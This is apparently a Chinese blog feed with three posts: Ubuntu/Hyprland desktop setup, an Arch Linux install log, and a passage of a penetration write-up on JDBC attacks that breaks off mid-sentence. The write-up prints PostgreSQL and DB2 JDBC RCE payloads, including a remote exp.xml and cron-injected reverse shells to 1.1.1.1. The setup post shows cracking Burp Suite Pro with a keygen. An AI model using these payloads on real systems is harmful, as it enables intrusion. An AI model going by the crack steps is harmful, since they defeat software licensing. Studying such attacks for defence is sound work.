我的触控板基础配置~/.config/hypr/UserConfigs/UserSettings.conf如下,主要就改了自然滚动和滚动速率,这样使用体验和 macOS 很接近了:

touchpad {  disable_while_typing = true  # 开启自然滚动  natural_scroll = true  # 滚动幅度的设置为 0.2  scroll_factor = 0.2  clickfinger_behavior = false  middle_button_emulation = true  tap-to-click = true  drag_lock = false}

手势定制

编辑 ~/.config/hypr/UserConfigs/UserSettings.conf配置,修改的触控板手势如下:

gestures {  workspace_swipe = true  # 将触摸板手势改为 4 指  workspace_swipe_fingers = 4  # 触摸板手势的距离  workspace_swipe_distance = 400  workspace_swipe_invert = true  workspace_swipe_min_speed_to_force = 30  # 更改滑动灵敏度  workspace_swipe_cancel_ratio = 0.1  workspace_swipe_create_new = true  # 关掉连续工作区滚动,防止滑多了  workspace_swipe_forever = false  #workspace_swipe_use_r = true #uncomment if wanted a forever create a new workspace with swipe right}

中文输入

因为目前 Fcitx5 完全支持 Wayland,所以首先我们要安装 Fcitx5 输入法框架及其相关依赖:

sudo apt updatesudo apt install -y fcitx5 fcitx5-chinese-addons fcitx5-configtool fcitx5-frontend-gtk3 fcitx5-frontend-qt5 fcitx5-module-xorg fcitx5-module-wayland

安装好之后,默认使用 Ctrl + 空格或者使用 Shift 切换输入法,自带的 Firefox 此时应该可以正常使用中文输入法了。

将 fcitx5 输入法框架配置开机自启:

vim ~/.config/hypr/hyprland.conf

添加或修改以下内容:

exec = fcitx5 &

Hyprshot

这个主题自带使用的是 swappy 截图,整体也挺好用的,但是如果只是想只区域截图到剪贴板的话,这个 swappy 感觉使用起来就比较繁琐了,这个时候可以考虑使用 Hyprshot 来辅助使用。

官方项目地址为:https://github.com/Gustash/Hyprshot

安装很简单:

# 下载并给予执行权限git clone https://github.com/Gustash/hyprshot.git Hyprshotchmod +x Hyprshot/hyprshot# 创建软链接sudo ln -s $(pwd)/Hyprshot/hyprshot /usr/local/bin/hyprshot

然后手动绑定快捷键类调用 hyprshot 的区域截图并直接到剪贴板不保存文件:

vim ~/.config/hypr/UserConfigs/UserKeybinds.conf

关键的内容如下:

# Hyprshotbind = $mainMod ALT_L, S, exec, hyprshot -m region --clipboard-on

Ulanucher

macOS 自带的 Command + 空格 很优雅的调出搜索框,不仅可以打开 APP 还可以调用计算器等,Linux 用户也不要过多羡慕,我们也可以实现类似的功能,只要借助 Ulauncher 即可。

官方的 Github 项目地址为:https://github.com/Ulauncher/Ulauncher/

设置完喜欢的 APP 后,我们同样需要手动绑定快捷键类来调用 Ulauncher:

vim ~/.config/hypr/UserConfigs/UserKeybinds.conf

关键的内容如下:

# Ulanucherbind = $mainMod, SPACE, exec, gapplication launch io.ulauncher.Ulauncher

Waybar

快捷键

Warbar 是在 Hyprland 环境下工作非常棒的顶部状态栏,可定制性非常高。此次脚本自带的相关快捷键如下:

快捷键说明
Super + Alt + B更换 Waybar 布局
Super + Ctrl + B更换 Waybar 样式

默认搭配

我的搭配如下:[Top & Bot] SummitSplit 布局 + [Transparent] Crystal Clear 样式,这样国光个人认为结合了 macOS 和 Windows 的特性,使用起来效率会更高一点:

外观定制

当然这个默认搭配虽然效果已经很不错了,但是还是有很多优化空间,下面是国光我具体的配置效果。

具体的细节大家自行参考为的 waybay 配置文件吧。

我的配置打包文件下载地址:https://www.sqlsec.com/download/waybar.zip

Dock 栏

首先编译 nwg-dock-hyprland 项目:

git clone https://github.com/nwg-piotr/nwg-dock-hyprland.gitcd nwg-dock-hyprlandmake getmake buildsudo make install

软件配置

code-server

VSCode 网页版本,Linux 服务器安装这个的话可以很方便的管理操作我们的 Linux 系统。

安装方式,下载官方打包好的 Deb 包即可:Releases · coder/code-server

sudo apt instal gdebisudo gdebi code-server_4.92.2_amd64.deb

编辑配置文件来开启局域网监听 /root/.config/code-server/config.yaml

bind-addr: 0.0.0.0:8866auth: passwordpassword: xxxxxxxxx这里是你的密码xxxxxxxxxxxxcert: false

使用 systemctl 管理 code-server 服务,编辑配置文件 vim /etc/systemd/system/code-server.service

内容如下:

[Unit]Description=code-serverAfter=network.target[Service]Type=execExecStart=/usr/bin/code-serverRestart=alwaysUser=root[Install]WantedBy=default.target

这样就可以优雅的通过 systemctl 来接管 code-server 服务了:

# 查看 code-server 的状态sudo systemctl status code-server# 启动 code-server 服务sudo systemctl start code-server# 重启 code-server 服务sudo systemctl restart code-server# 停止 code-server 服务sudo systemctl stop code-server

Chrome

直接浏览器访问 Google Chrome 网络浏览器 官网,下载官方打包好的 deb 安装包即可,使用 gdebi 可以很方便的安装:

sudo gdebi google-chrome-stable_current_amd64.deb

默认情况下 Chromium 系列是不走 Wayland 的,且输入法不正常,我们可以带着命令行手动运行一下 Chrome 让其走在正常的工作模式:

/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime

可以看到很明显缩放比例和输入法都正常工作了。

sudo vim /usr/share/applications/google-chrome.desktop

找到以 Exec 开头的行,并在命令后添加我们的参数,一共找到 3 行,均添加一下即可:

$ cat /usr/share/applications/google-chrome.desktop|grep Exec                                             Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %U Exec=/usr/bin/google-chrome-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-imeExec=/usr/bin/google-chrome-stable --incognito --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime

Microsoft Edge

Edge 官网直接下载打包好的 deb 包即可:Download Edge for Business

然后直接使用 gdebi 安装即可:

gdebi microsoft-edge-stable_128.0.2739.79-1_amd64.deb

安装好后和上面的 Chrome 一样,我们也需要对其进行配置才可以让它在 Wayland 下工作,且更好的支持中文输入法:

sudo vim /usr/share/applications/microsoft-edge.desktop

找到以 Exec 开头的行,并在命令后添加我们的参数,一共找到 3 行,均添加一下即可:

$ cat /usr/share/applications/microsoft-edge.desktop| grep Exec                                       Exec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime %UExec=/usr/bin/microsoft-edge-stable --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-imeExec=/usr/bin/microsoft-edge-stable --inprivate --enable-features=UseOzonePlatform --ozone-platform=wayland --enable-wayland-ime

微信

腾讯官方已经做了原生微信了,目前搬运的项目地址为:lovechoudoufu/wechat_for_linux: wechat_for_linux;weixin_for_linux;wechat-beta;微信;linux原生微信 (github.com)

然后直接使用 gdebi 安装即可:

sudo gdebi wechat-beta_1.0.0.238_amd64_login.deb

默认显示感觉有点小,而且也不支持中文显示:

编辑配置文件:

sudo vim /usr/share/applications/wechat.desktop 

主要修改如下:

Exec=env QT_SCALE_FACTOR=1.5 GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" XMODIFIERS="@im=fcitx" /usr/bin/wechat --enable-wayland-ime %U

最终效果如下:

QQ

QQ 官方打包的 Linux 版本基本上很完美了,官网地址为:QQ Linux版-轻松做自己,直接下载打包好的 deb 包安装即可:

sudo gdebi xxxxx.deb

同样为了更好的体验和中文输入,我们需要编辑配置文件:

sudo vim /usr/share/applications/qq.desktop 

主要修改如下:

Exec=env GTK_IM_MODULE="fcitx" QT_IM_MODULE="fcitx" XMODIFIERS="@im=fcitx" /opt/QQ/qq --enable-wayland-ime %U

强制让 QQ 的图片查看器窗口走悬浮规则,编辑窗口配置文件:

sudo ~/.config/UserConfigs/WindowRules.conf

新增如下规则:

windowrulev2 = float, title:QQwindowrulev2 = float, title:图片查看器

Typora

sudo vim /usr/share/applications/typora.desktop

主要修改内容如下:

Exec=typora --enable-features=UseOzonePlatform --ozone-platform=wayland --ozone-platform-hint=auto --enable-wayland-ime %U

网易云音乐

不知道什么时候网易云音乐官方居然下架了 Linux 的下载安装包,真的太令人失望了,好在经过本文下面的评论去网友 @like 的提醒,在麒麟的下载源里面找到了网易云音乐的 deb 包版本,我们直接下载即可:

https://software.openkylin.top/openkylin/yangtze/pool/all/netease-cloud-music_1.2.1_amd64.deb

或者直接下载官方当成的链接也行:

https://d1.music.126.net/dmusic/netease-cloud-music_1.2.1_amd64_ubuntu_20190428.deb

直接安装:

sudo gdebi netease-cloud-music_1.2.1_amd64.deb

但是由于缺少 libgio-2.0.so.0 是无法直接打开的,把文件复制到 /opt/netease/netease-cloud-music/libs/ 下:

sudo cp libgio-2.0.so.0 /opt/netease/netease-cloud-music/libs/libgio-2.0.so.0

修改网易云的启动命令脚本:

sudo vim /opt/netease/netease-cloud-music/netease-cloud-music.bash 

主要在倒数第二行加入:

cd /lib/x86_64-linux-gnu/

虽然这样可以正常启动了,但是发现网易云音乐爆来网络相关的错误:

但是网上好像也没有人解决这个问题,就这样吧~ 虽然不能使用账号和密码登陆,但是可以直接微信扫码登录,虽然不能听每日推荐,但是登录成功的话,其他功能好像也都正常,就先这样吧:

YesPlayMusic

既然网易云音乐官方 Linux 平台摆烂,那我们不用也罢,大家可以试试看 YesPlayMusic,这是一个高颜值的第三方网易云播放器,Linux 下的体验也是很棒的:

白鸽~乌鸦~相爱~的~戏码~
只会~出现在~童话~

开发环境

Python

主要安装一下 pyenv 环境:

curl https://pyenv.run | bash

安装完成后配置 zsh 变量:

echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.zshrcecho '[[ -d $PYENV_ROOT/bin ]] && export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.zshrcecho 'eval "$(pyenv init -)"' >> ~/.zshrc

pyenv 安装好之后,安装 Python 也很简单:

# 查看已经安装的Python版本➜ pyenv versions# 查看当前的 Python 版本➜ pyenv version# 查看可安装的版本➜ pyenv install -l# 安装与卸载 pypy3.8-7.3.11➜ pyenv install pypy3.8-7.3.11➜ pyenv uninstall pypy3.8-7.3.11

版本切换确实很方便,所安装的版本都在 ~/.pyenv/versions 目录下:

# global 全局设置 一般不建议改变全局设置➜ pyenv global <python版本># shell 会话设置 只影响当前的shell会话➜ pyenv shell <python版本># 取消 shell 会话的设置➜ pyenv shell --unset# local 本地设置 只影响所在文件夹➜ pyenv local <python版本>

pyenv 的 global、local、shell 的优先级关系是:shell > local > global

Node.js

类似于 pyenv 一样,这里我们安装 Node.js 使用的是 nvm 进行多版本 NodeJS 管理。

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash

基本的用法如下:

# 查看当前 node 的版本nvm version # 安装最新稳定版 nodenvm install stable# 列出所有远程服务器的版本nvm ls-remote# 安装指定版本nvm install v18.16.1nvm install <version># 列出所有已安装的版本nvm ls# 卸载指定的版本nvm uninstall <version># 切换使用指定的版本nodenvm use <version># 显示当前的版本nvm current# 使用 node 6.10.3 运行 app.jsnvm run 6.10.3 app.js# 在当前 shell 设置默认的 node 版本nvm alias default 8.1.0

Hexo

有了 Node.js 了,自然就可以安装 Hexo 了,国光的这个博客就是 Hexo 搭建的,所以对于我来说 Hexo 还是挺重要的。

# 安装 Hexonpm install hexo-cli -g

Hexo 的基础命令:

hexo clean # 清除缓存hexo g     # 生成静态文件hexo s     # 启动 Hexo 服务

安全环境

Burp Suite

首先在 BP 官网下载最新的 Pro 安装包:

chmod +x burpsuite_pro_linux_v2024_8_1.sh./burpsuite_pro_linux_v2024_8_1.sh

全部默认回车安装下去就行:

下载最新版本的注册机,拷贝到 BP 的安装目录下:

mv BurpLoaderKeygen_v1.17.jar ~/BurpSuitePro

直接运行注册机:

~/BurpSuitePro/jre/bin/java -jar ~/BurpSuitePro/BurpLoaderKeygen_v1.17.jar

点击Run,输入许可证然后选择手动激活即可:

为了日后方便使用,直接修改~/BurpSuitePro/BurpSuitePro.vmoptions, 增加以下参数:

--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/java.lang=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED-javaagent:BurpLoaderKeygen_v1.17.jar-noverify

发现在 hyprland 下 BP 的鼠标有点大,不过我们可以添加 env XCURSOR_SIZE=24 参数来解决鼠标变大的问题:

#!/usr/bin/env xdg-open[Desktop Entry]Type=ApplicationName=Burp Suite ProfessionalExec=env XCURSOR_SIZE=24 "/home/x-x/BurpSuitePro/BurpSuitePro" %UMimeType=application/x-extension-burp;Icon=/home/x-x/BurpSuitePro/.install4j/BurpSuitePro.pngCategories=Application;StartupWMClass=install4j-burp-StartBurpc

虚拟环境

Docker

Ubuntu 24.10 每日更新版本目前还无法使用 Docker 官方的脚本来安装,且无法安装 Docker Desktop,不过没关系,自带的 APT 里面的包也可以直接安装 Docker:

sudo apt install docker.iosudo apt install docker-registrysudo apt install docker-docsudo apt install docker-compose# 将当前用户赋予 docker 的操作权限sudo usermod -aG docker `whoami`

安装完成后重启即可使用 Docker。

ZeroTier

这里提到了 Docker,顺便直接讲一下 ZeroTier 的搭建吧,本文主要讲解一下如何在同一个系统下,使用双 planet 来运行两个 ZeroTier,而且不冲突,像这种单机多 planet 的情况,估计网上也没人折腾,但是国光这里还是研究成果了,下面简单说下一方法,懂得人都懂。

首先我们需要借助 xubiaolin/docker-zerotier-planet: 一分钟私有部署zerotier-planet服务 (github.com) 项目来搭建自己的 ZeroTier 中转服务器,每个自己的私服都有自己对应的 planet 文件,我们使用不同的 planet 文件即可连接不同的 ZeroTier 服务。

首先我们本地需要安装好官方的 ZeroTier 客户端:

curl -s https://install.zerotier.com | sudo bash

安装完成后,使用直接设置开机自启然后加入网络即可:

# 设置 zerotier 开机自启systemctl enable zerotier-one.service# 备份官方的 planet 文件mv /var/lib/zerotier-one/planet /var/lib/zerotier-one/planet.bak# 下载替换你的 plantxxxxxxx 此处省略 xxxxxxxx# 启动 zerotier 服务systemctl start zerotier-one.service

另一个客户端我们使用 Dockre 版本的:

docker run --name zerotier-one --device=/dev/net/tun --net=host --cap-add=NET_ADMIN --cap-add=SYS_ADMIN -v /home/x-x/Tools/zerotier/:/var/lib/zerotier-one -d zyclonite/zerotier

其中 /home/x-x/Tools/zerotier/ 设置为你自己的本地文件夹。

因为两个 ZeroTier 的客户端端口会有冲突,必定只能运行 1 个,所以我们需要手动修改 Docker 的端口为其他端口:

vim /var/lib/zerotier-one/local.conf

这里国光我修改为了 9333 端口:

设置完成后就可以同时使用 2 个 ZeroTier 的不同 planet 了 :

最后记得设置一下容器的开机自启:

docker update --restart unless-stopped zerotier-one 

QEMU-KVM

QEMU 是 Linux 下原生的虚拟化方案,体验还是非常非常丝滑的,Ubuntu 安装的话也比较简单:

sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst bridge-utils virt-manager  virt-viewer

启动和启用 libvirt 服务:

sudo systemctl enable libvirtdsudo systemctl start libvirtd

当前用户添加到 libvirtkvm 组,以便不需要使用 root 权限进行管理:

sudo usermod -aG libvirt $(whoami)sudo usermod -aG kvm $(whoami)

重启系统生效功能更改。

总的来说 KVM 的虚拟机虽然和 macOS 下的 PD 流畅度还是没法比,但是也不错了:

Waydroid 模拟器

安装教程

Waydroid 使用 Linux 命名空间(user、pid、uts、net、mount、ipc)在容器中运行完整的 Android 系统,并在任何基于 GNU/Linux 的平台(arm、arm64、x86 x86_64)上提供 Android 应用程序。

sudo apt install curl ca-certificates -ycurl https://repo.waydro.id | sudo bash

提示:

[!] Distribution "oracular" is not supported

手动把 oracular 添加到安装脚本里面:

再次运行:

chmod +x install.shsudo ./install.sh

执行完成后直接安装即可:

sudo apt install waydroid -y

国光这里选择了 GAPPS 带谷歌框架的版本类型,在点击 Download 前建议 Clash 开启 TUN 模式下载安装:

安装完成的效果如下:

显示界面

默认显示的界面有点胖胖的,很不舒服,我们可以修改 hyprland 的配置文件来自定义启动界面大小:

waydroid prop set persist.waydroid.width 506

重启 waydroid 生效:

waydroid session stop

ARM 转译

这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。

# 下载拷贝项目git clone https://github.com/casualsnek/waydroid_scriptcd waydroid_scrip# 使用 3.8.20 的 pyenv 虚拟环境pyenv local 3.8.20# 更新一下最新的 pippython -m pip install --upgrade pip -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple # 安装脚本相关的依赖python -m pip install -r requirements.txt -i https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple

运行脚本:

sudo -ipython main.py

命令行图形化界面我的选项供大家参考:

这样就可以正常打开我们常用的 APP 了:

基本用法

# 当前会话关机waydroid session stop# 重启 waydroid 服务sudo systemctl restart waydroid-container.service 

开发测试

# 安装 adb 开发工具apt install adb# 安装 apk 包waydroid app install  /xxx/xxx/xx.apk# adb 使用 IP 连接 (关于本机查看)adb connect 192.168.x.x:5555

手动安装 BP 证书:

# 对 BP 证书进行转换openssl x509 -inform DER -in cacert.der -out cacert.pem# 计算 BP 证书 hashcert_hash=$(openssl x509 -subject_hash_old -in cacert.pem | head -1)# 创建证书文件夹sudo mkdir -p /var/lib/waydroid/overlay/system/etc/security/cacerts/# 导入证书sudo cp cacert.pem /var/lib/waydroid/overlay/system/etc/security/cacerts/${cert_hash}.0

或者借助 waydroid_script 项目,直接导入证书也可以:

sudo python3 main.py install mitm --ca-cert cacert.pem

接着手动将模拟器设置本地的代理:

adb shell settings put global http_proxy "ip:port" 

如果取消代理则使用下面命令:

adb shell settings delete global global_http_proxy_hostadb shell settings delete global global_http_proxy_portadb shell settings delete global http_proxy

这样就可以正常抓包测试了。

Genymotion

基本安装

Genymotion 下载安装很简单,直接官网下载对应的安装包即可,记得注册一下对应的账号,虽然是免费版本的,表面上不支持开启 root 权限:

实际上手动进 adb 发现还是可以直接切换到 root 用户的:

ARM 转译

这个模拟器虽然很丝滑,但是默认情况下是没法跑 ARM APK 的,而国内很少有原生的 x86 APP,所以还是有必要安装一下 ARM 相关的转译的依赖的。

本次转译借助:https://github.com/niizam/Genymotion_A11_libhoudini 项目来实现,下面是一些操作细节:

打开 Android 11 模拟器,下面直接在命令行下操作

# 进入 adb 切换 root 用户,将系统根目录挂载为可读写adb shellsumount -o rw,remount /# 写入内容echo 'ro.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.product.cpu.abilist64=x86_64,arm64-v8aro.vendor.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.vendor.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.vendor.product.cpu.abilist64=x86_64,arm64-v8aro.odm.product.cpu.abilist=x86_64,x86,arm64-v8a,armeabi-v7a,armeabiro.odm.product.cpu.abilist32=x86,armeabi-v7a,armeabiro.odm.product.cpu.abilist64=x86_64,arm64-v8aro.dalvik.vm.native.bridge=libhoudini.soro.enable.native.bridge.exec=1ro.enable.native.bridge.exec64=1ro.dalvik.vm.isa.arm=x86ro.dalvik.vm.isa.arm64=x86_64ro.zygote=zygote64_32' | tee -a /system/build.prop >> /system/vendor/build.prop

从官方的 Release 页面下载 system.zip,直接拖入到模拟器中,根据提示直接确认刷入:

刷入完成后直接重启模拟器即可。

这样就可以正常打开我们常用的 APP 了:

]]>
<p>你是否羡慕人家 Arch Linux 那酷炫的平铺式桌面,现在不必再自卑了,使用目前最新的 Ubuntu 也是可以做到通用酷炫的效果。那么准备好电脑,跟着本文开始行动起来吧!</p>
国光的 啊切儿 Linux 优化记录(弃坑!) https://www.sqlsec.com/2024/09/arch.html 2024-09-05T01:27:03.000Z 2024-10-10T15:58:25.000Z

你这辈子有没有因为没有折腾过 Arch Linux 而感觉遗憾?有没有厌倦了无聊的 Ubuntu?有没有想给自己找点事情做,充实一下自己?那就赶紧试试看 Arch Linux 吧!

前言概要

硬件介绍

最近家电下乡各种优惠补贴很多,国光我也忍不住剁手下单了一台性价比很高的笔记本,机械革命无界15X 暴风雪版本,默认是 32 + 1TB 的配置,我也自行升级了一下,目前详细的配置如下:

组件型号
CPUAMD Ryzen™ 7 8845HS 8大核16线程 最大睿频 5.1Ghz
GPUAMD Radeon™ 780M(GTX 1060级别)
电池99Wh 超大电池
内存48GB 双 24GB DDR5 5600Mhz
SSD1出厂自带的英睿达 P3 Plus PCIe4.0 1TB
SSD2西数 SN770 PCIe 4.0 2TB
屏幕15.3 寸 16:10 比例 2560x1600分辨率 120Hz 400nits IPS
网卡Intel WiFi6 AX200 160Mhz + 裕太微千兆有线网卡 YT6801

系统简介

Arch Linux 是一个滚动更新发行版,旨在提供简单而高效的用户体验。它以其极简主义和高度可定制性而闻名,非常适合那些喜欢自己动手配置系统的技术爱好者和高级用户。

滚动更新

滚动更新是指发行版不断地发布小规模的更新,从而保持系统的最新状态。比传统的 Ubuntu 这类发行版更新更快,用户只需定期更新系统,就能获得最新的软件和功能,从而体验到最新的技术和改进。

当然也有一些缺点,就是最新的软件和技术会带来更多的不稳定性和兼容性问题,而且需要定期更新,如果长时间不更新 Arch Linux 系统,那么突然一次更新后可能会带来更多痛苦的依赖关系、配置文件冲突、内核和驱动等问题。

所以最好的办法就是养成定期更新的习惯,确保系统始终保持在最新和最稳定的状态。

学习资料

  • Arch Linux 官方网站
    网址:https://www.archlinux.org
    这是 Arch Linux 的官方网站,提供了最新的新闻、发布公告和下载链接。
  • Arch Wiki
    网址:https://wiki.archlinux.org
    Arch Wiki 是一个详尽的知识库,涵盖了从安装、配置到故障排除的各种信息。它是 Arch 用户的必备资源。
  • Arch Linux Forums
    网址:https://bbs.archlinux.org
    Arch Linux 用户的交流社区。你可以在这里提问、分享经验和解决问题。
  • Arch Linux reddit
    网址:https://www.reddit.com/r/archlinux/
    一个活跃的 Arch Linux 社区,用户在这里分享新闻、教程和经验。
  • Arch Linux User Repository (AUR)
    网址:https://aur.archlinux.org/
    AUR 是由用户维护的存储库,包含了大量社区贡献的软件包。了解如何使用 AUR 是 Arch 用户的重要技能。

系统安装

都说 Arch Linux 安装复杂,其实如果你之前了解黑苹果的话,会发现难度其实还行,至少有资料可以参考,而黑苹果相关的资料就非常稀少了。

制作 U 盘

首先在官网下载 Arch Linux 的 ISO 镜像文件,然后使用Rufus - 轻松创建 USB 启动盘

配置网络

如果是台式机插网线的话,默认情况下会自动获取到 DHCP 地址,笔记本的话一般要手动连接 WiFi 来使用网络。

启动 iwctl 交互模式:

iwctl

下面是 iwctl 交互模式下常用的命令:

# 查看 WiFi 忘啦device list# 扫描可用网络station wlan0 scan# 显示扫描结果station wlan0 get-networks# 连接 WiFistation wlan0 connect XXXX# 连接隐藏 WiFistation wlan0 connect-hidden XXXX

连接好 WiFi 后手动验证一下是否联网成功:

# 查看是否获取到 IP 地址ip a# 测试网络是否通畅ping www.sqlsec.com

安装脚本

archinstall 是一个官方的 Arch Linux 安装脚本,旨在简化 Arch Linux 的安装过程。传统上,Arch Linux 原本的安装是一个手动过程,需要用户执行一系列命令来分区、格式化磁盘、设置系统和安装软件包。archinstall 提供了一个更自动化和用户友好的方式来完成这些任务。

在命令行中,输入以下命令启动 archinstall:

archinstall

下面是最终的配置信息:

磁盘划分

其中 Disk configuration 磁盘分区这里我们选择 Manual Partition 手动分区:

选择好我们要安装系统的硬盘:

手动创建一个 500MB 大小 Fat32 格式的 /boot 引导启动分区,用于存放系统的 EFI 引导:

然后直接创建一个 800GB 大小的 Ext4 格式的 / 根目录分区,非常简单粗暴:

最终磁盘分区的效果如图:

除了没有听官网建议搞个 swap 分区,其他的基本上是对齐的:

其他细节

桌面环境这块国光我选择了常见主流的桌面,全部都安装了一遍,当然你们不用像我这样操作,选择自己合适的桌面就行:

由于还选择了 Hyprland 桌面,需要相关权限,我们这里选择了默认的第一个 polkit:

显卡驱动这块因为我的笔记本是 AMD 780M A核显,所以我只选择了 AMD 显卡驱动,默认的欢迎页面使用了 Deepin Linux 的 lightdm-gtk-greeter 登录页:

最后由于我对性能要求比较高,直接使用了 zen 内核:

最后安装完成后选择 no ,不进入 chroot 环境再配置了:

安装没有报错,直接拔掉 U 盘,选择 reboot 重启吧:

重启后默认的是 DDE 的登录界面,而且可以选择我们上面安装好的各种各样的桌面环境:

后续内容

但是呢,国光我后面发现自己喜欢的应该不是 Arch Linux,我喜欢的是 Hyprland 酷炫的平铺式桌面,所以后面我的笔记本安装的是 Ubuntu 24.10 和 Windows 11 双系统了,后续有机会单独搞个小主机安装 Arch Linux 来把后续内容给更新上,暂时就这样先咕咕咕了。

]]>
<p>你这辈子有没有因为没有折腾过 Arch Linux 而感觉遗憾?有没有厌倦了无聊的 Ubuntu?有没有想给自己找点事情做,充实一下自己?那就赶紧试试看 Arch Linux 吧!</p>
从文件读取到 getshell 的一次细节满满的渗透 https://www.sqlsec.com/2024/05/attack.html 2024-05-23T01:35:27.000Z 2024-05-23T01:48:44.000Z

渗透测试是一个很考验知识面的工作,如果你的知识面不够广,可能就会错失一次 getshell 的机会,当然这些前提是你的信息收集要足够充分才行,所以还是那句话,渗透测试的第一步是信息收集。

前言背景

最近 HW 要开始了,准备对金融行业的一次供应商下手,从供应商角度进行渗透难度门槛确实要低很多了,本文就是其中一个供应商渗透的一个经典素材,本文均做打码处理,发出来仅做思路学习分享,共勉!

拿下数据

拿到系统的 Web 界面的时候,先别想着直接系统后台 getshell,先把系统整体过一遍, 我们这里运气就比较好,直接翻到了系统里面的测试的 MySQL 敏感信息了:

开门红呀,这次渗透运气居然这么好?!

连接数据

连接很顺利啊,上面翻到的数据库密码居然真的可以连接:

但是好像敏感数据不是很多,emmmm

算了算了,就知道渗透不会这么顺利简单的,我们还是得想办法好好深入渗透一下。

Druid Monitor

Druid Monitor 是 Java 网站下常用的数据库连接池,很多开发者习惯性的直接暴露在公网上,我们经常可以未授权直接访问或者弱口令爆破一下,幸运的是,本网站的 Druid Monitor 也被我们成功拿下,发现这个 Java 站点用了几个数据库相关的驱动 Jar 包:

主要和数据库相关的 JDBC 驱动信息相关内容整理如下:

  • com.mysql.cj.jdbc.Driver:/root/deploy/lib/mysql-connector-j-8.3.0.jar
  • org.postgresql.Driver:/root/deploy/lib/postgresql-42.4.5.jar
  • oracle.jdbc.OracleDriver :

所以真正可以跑起来的也就这 3 个数据库,网站支持数据源接入,界面如下:

可以看到这就是虚假宣传呀,前端写了支持这么多数据库接入,但是还好我们通过 Druid Monitor 瞅了一眼 JDBC 相关的驱动,否则可能会走不少弯路。

JDBC 攻击面

其实如果我们可以操控数据源的话,就相当于间接的操作了 JDBC 的字符连接串,相关的漏洞很多,从 IBM 的 DB2 数据库,到 PostgreSQL 以及常见的 MySQL 历史上都出现一些重大的 RCE 级别的 CVE 漏洞的,我们多关注这些 CVE 漏洞必要时还是很有用的。

常见的 JDBC RCE 漏洞国光我简单列举几个吧:

IBM DB2 JDBC RCE 姿势

BLUDB:clientRerouteServerListJNDIName=ldap://{IP};jdbc:db2://x.x.x.x:3306/BLUDB:clientRerouteServerListJNDIName=ldap://x.x.x.x:1389/Deserialization/CommonsCollectionsK1/Command/Base64/xxxxxxx=;

MySQL JDBC RCE 姿势

在版本 >= 8.0.20, >= 5.1.49 中, 此漏洞已经被修复
https://github.com/mysql/mysql-connector-j/commit/de7e1af306ffbb8118125a865998f64ee5b35b1b
https://github.com/mysql/mysql-connector-j/commit/13f06c38fb68757607c460789196e3f798d506f2

网上一键利用的项目挺多,比如国光常用的有:rmb122/rogue_mysql_server

MySQL JDBC 文件读取姿势

?allowLoadLocalInfile=true&allowUrlInLocalInfile=true

依然可以使用 rmb122/rogue_mysql_server 项目来进行文件读取利用

PostgreSQL CVE-2022-21724 RCE

test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://1.1.1.1/exp.xml

exp.xml 内容如下:

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean class="java.lang.String"><property name="whatever" value="#{T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFxxxxxxxxxxxxxxxxxxxxxxxxxgMD4mMQ==}|{base64,-d}|{bash,-i}')}"/></bean></beans>

PostgreSQL CVE-2022-21724 文件写入

jdbc:postgresql:///?loggerLevel={loggerLevel}&loggerFile={loggerFile}&shellContent

利用案例细节:

"dbName": "21\u000a*/1 * * * * bash -i >& /dev/tcp/1.1.1.1/4444 0>&1\u000a?loggerLevel=DEBUG&loggerFile=../../../../../../../../../../../../../../../../var/spool/cron/root&",        "driverName": "org.postgresql.Driver",

资料分享

其实 JDBC 历史上漏洞确实很多,就比如阿里云安全团队在 HITB Singapore 2021 会上提到的一个比较实用的议题:《Make JDBC Attack Brilliant Again 》 虽然这个议题今年 12 年8 月份就公布了,但是国内的渗透师用 JDBC 日站的比较少。

这个议题的主要内容如下:

  1. 重新分析JDBC定义,并回顾在JDBC攻击面上出现的历史问题,包括MySQL JDBC 任意文件读取,MySQL JDBC反序列化远程命令执行
  2. 深入的分析了已知的攻击案例原理,例如H2 database等
  3. 本次分享的重点,介绍了如何利用JDBC攻击面对不同数据库环境进行攻击(包括IBM DB2、SQLite、Apache Derby等),并首次公开了相关0day的利用细节

对这个议题感兴趣的师傅们,关注公众号回复 jdbc 即可获取议题 PPT的下载链接。

文件读取

很不幸,我们这个网站使用的是 mysql-connector-j-8.3.0.jarpostgresql-42.4.5.jar 高版本,敲好我们上面准备的 RCE 利用姿势没法直接使用:

但是好在存在 MySQL JDBC 文件读取姿势可以利用,我们通过 Web 界面构造好 JDBC 连接串,一般我们通常在 DB 数据库名后面配置拼接,比如这里我们填写的数据库名为:

